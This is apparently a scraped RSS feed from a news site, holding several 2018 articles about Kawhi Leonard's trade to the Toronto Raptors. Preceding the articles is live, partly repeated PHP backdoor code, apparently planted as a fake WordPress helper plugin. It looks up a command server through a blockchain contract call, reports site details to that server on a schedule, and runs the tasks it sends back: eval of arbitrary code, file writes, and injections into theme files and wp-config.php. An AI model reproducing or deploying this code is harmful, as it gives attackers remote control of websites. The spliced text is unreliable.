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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Kawhi – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 04 Jan 2019 03:30:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Kawhi – Brief News https://briefnews.eu 32 32 The Raptors’ year-long Kawhi Leonard gamble is going swimmingly, but could fall apart for the simplest reasons https://briefnews.eu/the-raptors-year-long-kawhi-leonard-gamble-is-going-swimmingly-but-could-fall-apart-for-the-simplest-reasons/ https://briefnews.eu/the-raptors-year-long-kawhi-leonard-gamble-is-going-swimmingly-but-could-fall-apart-for-the-simplest-reasons/#respond Fri, 04 Jan 2019 03:30:30 +0000 http://briefnews.eu/the-raptors-year-long-kawhi-leonard-gamble-is-going-swimmingly-but-could-fall-apart-for-the-simplest-reasons/ kawhi leonardDavid Zalubowski/AP

  • The Toronto Raptors’ one-year gamble on Kawhi Leonard is going about as well as possible.
  • But the Raptors’ looking like potential contenders, Leonard’s return to All-Star form, and the team’s recruiting efforts, might not matter.
  • According to a report, Leonard’s choice in free agency this summer might come down to the Raptors or his hometown Los Angeles Clippers.
  • According to the report, Leonard might not be able to pass up being close to home and playing in a warm climate, two things the Raptors have no say in, regardless of how well their recruitment goes this season.

The Toronto Raptors’ recruitment of Kawhi Leonard has gone about as well as possible nearly halfway through the 2018-19 season.

The Raptors have a league-best 28 wins and are just half a game behind the Milwaukee Bucks for first place in the East. They’re deep, malleable, and top-10 offensive and defensive unit.

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]]> https://briefnews.eu/the-raptors-year-long-kawhi-leonard-gamble-is-going-swimmingly-but-could-fall-apart-for-the-simplest-reasons/feed/ 0 Kawhi Leonard's transition to Toronto has been seamless https://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/ https://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/#respond Mon, 12 Nov 2018 15:52:05 +0000 http://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/

In LeBron James' first season in Miami, the Heat started 9-8. In James' first season back in Cleveland, the Cavaliers began 5-7. This year, in James' first in Los Angeles, the Lakers are 7-6.

Even for the best player in the world, new beginnings have never come easy.

But for Kawhi Leonard and the Toronto Raptors, the unlikely partnership couldn't have started any smoother.

At the time of the trade that sent Toronto icon DeMar DeRozan, budding centre Jakob Poeltl, and a protected first-round pick to San Antonio for Leonard and Danny Green, critics were wary of the Raptors' off-court fit.

It's no secret that DeRozan and Kyle Lowry are best friends; how would Lowry adjust? It's also no secret that Leonard is reportedly seeking a return home to Los Angeles; how would he fare in the north?

And, most importantly: would those issues infect the basketball team as a whole?

On top of the East

Thirteen games in and the answer is a resounding "No." And in an interesting twist, two of the Raptors' top competitors in the East have struggled to re-integrate their own key players.

For various reasons, Gordon Hayward's second crack with the Boston Celtics and Markelle Fultz's first full season with the Philadelphia 76ers have not gone swimmingly. And it's left those teams staring up at the 12-1 Raptors.

The Raptors, whose one loss came without Leonard, have beaten both Atlantic division rivals and led by double digits in every game but one.

So how have the Raptors been so good at something James has now failed at thrice?

For starters, none of the off-court issues have presented themselves. Lowry didn't say a word in the off-season, which concerned some. Turns out, his reason for silence, as told to ESPN's The Undefeated, was completely rational.

"My best friend in the world [DeRozan] got traded. He was upset. Things were hectic," Lowry said. "For me, I'm going to support him and I have his back. But I understand it's a business, and everyone made peace with it. And everyone continued to do great things."

Lowry leads the league with 11 assists per game, easily a career high. His shooting percentage also represents a career high (49.7 per cent). And to watch Lowry is to watch a player clearly in command of his team – someone who understands exactly where Serge Ibaka wants the ball to help him to a recent 27 of 30 shooting stretch.

The point guard also leads the league in charges drawn with nine, in case you were still concerned about effort.

"I'm fueled by everything," Lowry said. "It's not even bad fuel. It's good fuel. I try to think as positive as possible. Everything happens for a reason. You can't get mad about things you can't control. All you can control is yourself."

Good problems

Lowry's control is why Leonard's transition to Toronto has been so seamless. In fact, Leonard has taken to Toronto quite well.

"It's basically like being in New York," he told the Los Angeles Times. "I'm enjoying the city so far, but I have a lot I'd like to venture off and see still."

So Leonard's main issue with Toronto, almost one month into his first season, is that there's too much to do. A good problem to have.

In fact, the Raptors' roster is filled with good problems. Third-string centre Greg Monroe probably doesn't deserve his end-of-bench treatment, but Ibaka and Jonas Valanciunas are playing too well to be supplanted.

Toronto's rotation legitimately runs 11 deep, which is useful when Leonard still isn't 100 per cent healthy, and isn't yet playing back-to-backs.

But when Leonard is in the lineup, his presence is obvious. Besides averaging 24.4 points along with a career-high 7.9 rebounds per game, Leonard is a menace defensively, constantly harassing the opposing team's best player into turnovers. This was no clearer than against the 76ers when Ben Simmons committed 11 turnovers on his own.

Watch Leonard's defensive dominance:

Toronto defeats Philadelphia 129-112, Kawhi Leonard scores 31 points. 1:26

Leonard's integration into the Raptors has been simple.

"I've been playing this my whole life. It's a big life adjustment. You're in a different country. You're not used to some of the things or the cities out here. But, really, it's the same thing as when you're in the United States," Leonard said.

"It's still basketball."

More tests await this week, as the Raptors take on Anthony Davis' New Orleans Pelicans before former head coach Dwane Casey makes his return to Toronto. Then, on Friday, the Raptors will travel to Boston to square off against their Eastern rival.

Stay tuned.

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]]> https://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/feed/ 0 Kawhi Leonard breaks silence, says he's excited to be a Raptor https://briefnews.eu/kawhi-leonard-breaks-silence-says-hes-excited-to-be-a-raptor/ https://briefnews.eu/kawhi-leonard-breaks-silence-says-hes-excited-to-be-a-raptor/#respond Mon, 24 Sep 2018 21:05:29 +0000 http://briefnews.eu/kawhi-leonard-breaks-silence-says-hes-excited-to-be-a-raptor/

Kawhi Leonard says he's healthy and excited to be a Toronto Raptor.

Leonard finally addressed the media at a jam-packed news conference, the first time he's spoken publicly since the blockbuster trade that sent DeMar DeRozan to San Antonio.

The MVP of the NBA finals in 2014 arrived in Toronto under a cloud of questions, specifically about whether he'll remain a Raptor past this season.

Despite reports he plans to test free agency next off-season, the forward and former defensive player of the year says he's excited to play in a "basketball city," where fans embrace the team.

"As long as I have on a jersey I want to play basketball," said the soft-spoken Leonard. "I came here with an open mind. I want to do great things so I'm going to make sure I put in a full effort on the court each and every night.

The narrative of not wanting to come to this city is gone.— Raptors president Masai Ujiri at Kawhi Leonard's introductory  news conference in Toronto

"By winning games this is how you get star-calibre players to want to come here and play."

The 27-year-old's awkward laugh was a highlight of the news conference, and was trending on Twitter all afternoon.

Casting negative light

Danny Green, the former Spurs shooting guard who was part of the deal, played the role of comic relief in a press conference that was tense at moments. He joked with reporters that he was surprised they noticed him sitting with Leonard.

"Oh, you included me, OK," he said, flashing a wide grin. He claimed the Raptors' Drake-inspired "OVO jerseys, that's what sold me [on Toronto]."

Raptors president Masai Ujiri, meanwhile, wasn't laughing. He chastized reporters for casting a negative light on Leonard's arrival. He interjected to answer a question for Leonard and Green about their move to Toronto, years ago considered one of the league's least desirable outposts.

"The narrative of not wanting to come to this city is gone," Ujiri said, to the applause of Maple Leaf Sports & Entertainment Ltd. employees who watched the press conference. "I think that's old and we should move past that. Believe in this city, believe in yourselves."

'People like' Toronto, says Ujiri

He repeated his sentiments to a couple dozen reporters afterward.

"It's frustrating because I can't believe a beautiful city like this would not believe in itself," Ujiri said. "We have to move on from that. Man, look at everything in this city: Look at the Leafs. TFC won last year. They won the championship after being killed for how many years? Look at the people. Look at how beautiful it is. Even Kawhi said that. He said that to me.

"To continue to hear about people not wanting to come here is actually irritating after a while. It is. Come on. Let's be real. People like it here."

Raptors president discusses the trade between the San Antonio Spurs that brought Kawhi Leonard to Toronto. 23:30

Leonard was virtually silent and unseen in a strange final season with the Spurs. He missed all but nine games with quadriceps tendinopathy in his right leg. There were reports he was unhappy about how the franchise handled his injury.

Leonard deflected a San Antonio reporter's question at the news conference at Scotiabank Arena. What went wrong? the reporter asked.

Off-season shakeup

"I have no regrets. But I want to focus on this team, this journey that we have in front of us today and just spend on present time and not look back," he said.

The Leonard deal was the biggest piece of an off-season shakeup that included the firing of coach Dwane Casey after the Raptors were ousted by Cleveland in the playoffs for the third straight year.

He's an astute player from what I can tell already. … He plays hard and he plays to win.— Raptors rookie head coach Nick Nurse on Kawhi Leonard

Among rookie head coach Nick Nurse's first tasks were meetings with Leonard at the new Raptors' San Diego home. He came away impressed.

"As we know, Kawhi is a man of few words, but his actions this summer were similar to what you'd think, he's a serious guy with a great work ethic," Nurse said. "I think he loves basketball, right? There's no doubt about it, he's an astute player from what I can tell already, over a lot of time that we work with him, our relationship will grow. He's a hooper, man. He loves to play, he plays hard and he plays to win."

Nurse said the team would closely monitor Leonard's health through camp and the pre-season.

Leonard's new Raptors teammates said they were "shocked" when they first heard of the off-season trade. All-star guard Kyle Lowry, who'd been hurt to lose his good friend DeRozan, said he looked forward to the new season.

"He's my teammate now so I'm excited to play with him, and I always ride or die for my teammates," Lowry said. "Go out there and play basketball, win as many games as possible, and at the end of the year hold up that trophy."

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]]> https://briefnews.eu/kawhi-leonard-breaks-silence-says-hes-excited-to-be-a-raptor/feed/ 0 Silent Raptor Kawhi Leonard happy, healthy ahead of camp, says GM https://briefnews.eu/silent-raptor-kawhi-leonard-happy-healthy-ahead-of-camp-says-gm/ https://briefnews.eu/silent-raptor-kawhi-leonard-happy-healthy-ahead-of-camp-says-gm/#respond Wed, 19 Sep 2018 01:06:22 +0000 http://briefnews.eu/silent-raptor-kawhi-leonard-happy-healthy-ahead-of-camp-says-gm/

Kawhi Leonard is happy and healthy, says Toronto Raptors president Masai Ujiri.

Leonard, the centrepiece of one of the NBA's biggest off-season trades, has yet to address the Toronto media. But Ujiri talked about the two-time defensive player of the year on Tuesday, a week before the Raptors open training camp in Vancouver.

​"Everything to me — he is determined and seems in the right frame of mind," Ujiri said. "You will be hearing from him shortly. I think there is a fire inside of him and we are all excited about that."

Ujiri swung the blockbuster deal — sending DeMar DeRozan, Jakob Poeltl and a draft pick to San Antonio for Leonard and Danny Green — while in Kenya with his Giants of Africa non-profit organization.

While Leonard has publicly remained mum on the move, Ujiri said he's not concerned about the 27-year-old forward's commitment to Canada's lone NBA franchise, saying Leonard worked out with Toronto's coaches in Los Angeles, and has visited the city a couple of times.

First impressions of his newest acquisition? For one, he'll rival OG Anunoby as the season's quietest Raptor, Ujiri joked.

'He's a quiet kid'

"Basketball person. Just loves the game," he said. "Wants to play the game and very competitive. You can tell he is a very competitive kid. It's about basketball. Once you just start to talk about basketball his eyes change."

The team won't be treating Leonard with kid gloves.

His [focus] is on basketball which is what you want. He is a basketball junkie.— Raptors GM Masai Ujiri on 

"There is nothing we are going to do different. We are going to be ourselves. I think the situation with him in San Antonio which I don't want to talk about because I don't know much about it, but he's a quiet kid," Ujiri said. "That's his nature.

"We can't all be the same kind of people. But he is as engaging as he would want to be and he's very interesting. There is no maintenance with him.

There are no tons of people around him. His [focus] is on basketball which is what you want. He is a basketball junkie."

Ujiri spoke on the sun-drenched rooftop of a swish downtown hotel after a morning Giants of Africa event.

He talked about how tough decisions such as trading DeRozan and firing coach Dwane Casey might eventually drive him out of the basketball business.

DeRozan deal tough on Lowry

"It was tough because I built five years with DeMar," Ujiri said. "You're telling them to push as hard as they can, you're encouraging, you're trying to put in things for them to succeed and do everything you can … And then all of sudden these kind of opportunities come or these type of things happen. How do you explain that?

"But it's the same thing the other way. I've been in situations with players leaving. Those are the two things that make it difficult in sports. I say it again, that's the thing that's going to make me leave this eventually and go do something else. I don't like that part because I don't think in me there's one little thing of blood in me that's fake."

Camp opens Sept. 25

Ujiri said veteran guard Kyle Lowry took the DeRozan trade hard. Lowry refused to discuss the trade with reporters during a U.S. training camp in Las Vegas in late July.

"Kyle is close to DeMar and he's going to be sensitive … that was a blow to him. I think basketball-wise Kyle is always ready, he's always going to be ready, he's training hard and he'll be ready."

The season tips off with the team's traditional media day Monday in Toronto. The Raptors will then fly to Vancouver to open camp on Sept. 25.

Ujiri and his Giants of Africa non-profit organization will celebrate the centenary of Nelson Mandela with a series of events on Dec. 4 and 5.

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]]> https://briefnews.eu/silent-raptor-kawhi-leonard-happy-healthy-ahead-of-camp-says-gm/feed/ 0 Kawhi Leonard doesn't directly mention Raptors in letter thanking Spurs https://briefnews.eu/kawhi-leonard-doesnt-directly-mention-raptors-in-letter-thanking-spurs/ https://briefnews.eu/kawhi-leonard-doesnt-directly-mention-raptors-in-letter-thanking-spurs/#respond Thu, 09 Aug 2018 13:42:06 +0000 http://briefnews.eu/kawhi-leonard-doesnt-directly-mention-raptors-in-letter-thanking-spurs/

Kawhi Leonard released his first statement since the blockbuster trade that saw the Toronto Raptors land the star forward.

Leonard, who submitted a letter to the San Antonio Express-News, thanked the Spurs organization, its fans and head coach Gregg Popovich.

But the 27-year-old didn't mention the Raptors in the letter, writing only that he was "looking forward to the next chapter in my career."

Here's the full letter:

I have been going back and forth the last few weeks trying to figure out the right things to say, and it comes down to two simple words: THANK YOU! My family and I want to say THANK YOU to the entire Spurs organization and the people and fans of San Antonio. THANK YOU to every one of my teammates I've played with over my seven years in the NBA. THANK YOU Pop I'll always be grateful for my growth under your guidance. THANK YOU to the fans! There is not a more passionate or dedicated fan base than what I've witnessed in San Antonio. Through all the ups and downs — I'm glad there were many more ups! —I'll never forget what we have shared and accomplished together. While I'm looking forward to the next chapter in my career, I'll always remember the city and the people of San Antonio!

THANK YOU!

—​ Kawhi Leonard

In a trade that sent shockwaves throughout the NBA, the Raptors acquired Leonard and three-point shooter Danny Green last month, while San Antonio received all-star DeMar DeRozan, backup centre Jakob Poeltl and a protected 2019 first-round pick.

DeRozan openly criticized Masai Ujiri, claiming the Raptors president promised he wouldn't trade him. Leonard, an unrestricted free agent next summer, reportedly wasn't pleased with the move and many expect him to bolt for the Los Angeles Lakers, joining LeBron James.

Raptors president discusses the trade between the San Antonio Spurs that brought Kawhi Leonard to Toronto. 23:30

Leonard, if healthy, would give Toronto one of the best two-way players in the NBA and a true bonafide superstar.

However, questions remain about the status of a right leg injury that shelved him for all but nine games last season. He was named NBA Finals MVP in 2014 after leading the Spurs to a championship but his relationship with the team deteriorated last season to the point where he asked for a trade.

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]]> https://briefnews.eu/kawhi-leonard-doesnt-directly-mention-raptors-in-letter-thanking-spurs/feed/ 0 The Spurs had a subtle difference in their goodbye messages to Kawhi Leonard and Danny Green, and some believe it’s a petty shot at the team’s departing superstar https://briefnews.eu/the-spurs-had-a-subtle-difference-in-their-goodbye-messages-to-kawhi-leonard-and-danny-green-and-some-believe-its-a-petty-shot-at-the-teams-departing-superstar/ https://briefnews.eu/the-spurs-had-a-subtle-difference-in-their-goodbye-messages-to-kawhi-leonard-and-danny-green-and-some-believe-its-a-petty-shot-at-the-teams-departing-superstar/#respond Thu, 19 Jul 2018 01:40:24 +0000 http://briefnews.eu/the-spurs-had-a-subtle-difference-in-their-goodbye-messages-to-kawhi-leonard-and-danny-green-and-some-believe-its-a-petty-shot-at-the-teams-departing-superstar/ Spurs Twitter@Spurs / Twitter

  • The San Antonio Spurs traded beleaguered superstar Kawhi Leonard away to the Toronto Raptors along with Danny Green in exchange for DeMar DeRozan, Jakob Poeltl, and a 2019 pick.
  • After the deal was made official, the Spurs sent both Leonard and Green off with farewell posts from the team’s official Twitter account.
  • Some fans on social media noted the subtle difference between the goodbyes, and believed them to be a shot at Leonard.

After months of ongoing drama that became one of the oddest stories of the NBA season, Kawhi Leonard and the San Antonio Spurs have gone their separate ways, with Leonard and teammate Danny Green being traded to the Toronto Raptors in exchange for DeMar DeRozan, Jakob Poeltl, and a 2019 pick.

Leonard, who not long ago was in the MVP conversation for his brilliant two-way play and the heir-apparent to Tim Duncan as the next Spurs-lifer, left the team on what could be generously described as contentious terms, after sitting out all but nine games of the 2017-18 season due to injury, and ongoing disputes with team doctors about the severity of those injuries.

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That’s according to Sporting News’ Sean Deveney, who claims the Spurs will happily entertain trade negotiations from the “desperate” Raptors.

Shock reports emerged yesterday with Toronto suddenly becoming odds-on favourites among NBA teams to sign Leonard.

It followed on from an article earlier in the week which suggested the Raptors had been generating “buzz” regarding a trade for Leonard.

The Lakers have been the favourites to sign Leonard for some time now, either this summer or in 2019 when he becomes a free agent.

The 27-year-old has made it clear he wants to head to Los Angeles, but San Antonio have so far played hard-ball over negotiations for a trade this year.

That has left the door open for other teams to come in and take a chance on negotiating with San Antonio.

The Spurs reportedly favour a trade to an Eastern Conference team, but Deveney doesn’t think a trade with Toronto makes sense for either team involved.

“From what I can tell, this is still mostly chatter and not something that’s careening towards actually happening,” Deveney said on Sportsnet.

“If the Spurs are looking to trade Kawhi Leonard somewhere that’s not in the Western Conference and are looking for a desperate team then Toronto is high on the list.

“There’s some sense there. I think it would be disaster for both teams.

“When you look at Kawhi Leonard wants and where he’s going to go next year and then you look at what the Spurs are trying to do, it doesn’t make much sense.

“Just in the fact Toronto are a desperate team in the East that seems to be there genesis of all this.”

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]]> https://briefnews.eu/kawhi-leonard-trade-lakers-raptors-and-spurs-told-of-disaster-move-this-summer/feed/ 0 Kawhi Leonard trade: Lakers LeBron James reports quashed but Clippers offered hope https://briefnews.eu/kawhi-leonard-trade-lakers-lebron-james-reports-quashed-but-clippers-offered-hope/ https://briefnews.eu/kawhi-leonard-trade-lakers-lebron-james-reports-quashed-but-clippers-offered-hope/#respond Sat, 07 Jul 2018 03:58:24 +0000 http://briefnews.eu/kawhi-leonard-trade-lakers-lebron-james-reports-quashed-but-clippers-offered-hope/

That is the claim from NBA insider Stephen A. Smith.

Reports emerged recently that James’ free agency signing could hinder the Lakers’ hopes of landing Leonard this summer or next due to the forward’s introverted personality.

Well-connected Yahoo reporter Shams Charania also claimed that the two-time NBA Defensive Player of the Year has “no interest” in joining a superteam, which he likely would be doing in joining James at Staples Center.

And that leaves the Clippers as a possible destination with the 27-year-old desperate to leave the San Antonio Spurs to play in his California hometown.

A trade to the Lakers is still on the cards this summer, although the Clippers do not have the assets to enter the equation. Their best hope is for Leonard to become an unrestricted free agent in 12 months’ time.

ESPN analyst Smith believes that if that were to happen, the Clippers might have a strong chance of landing Leonard but insists it is dependent on Lakers trade talks failing to come to fruition.

“I haven’t heard that at all,” Smith said in response to rumours Leonard does not want to play alongside James. 

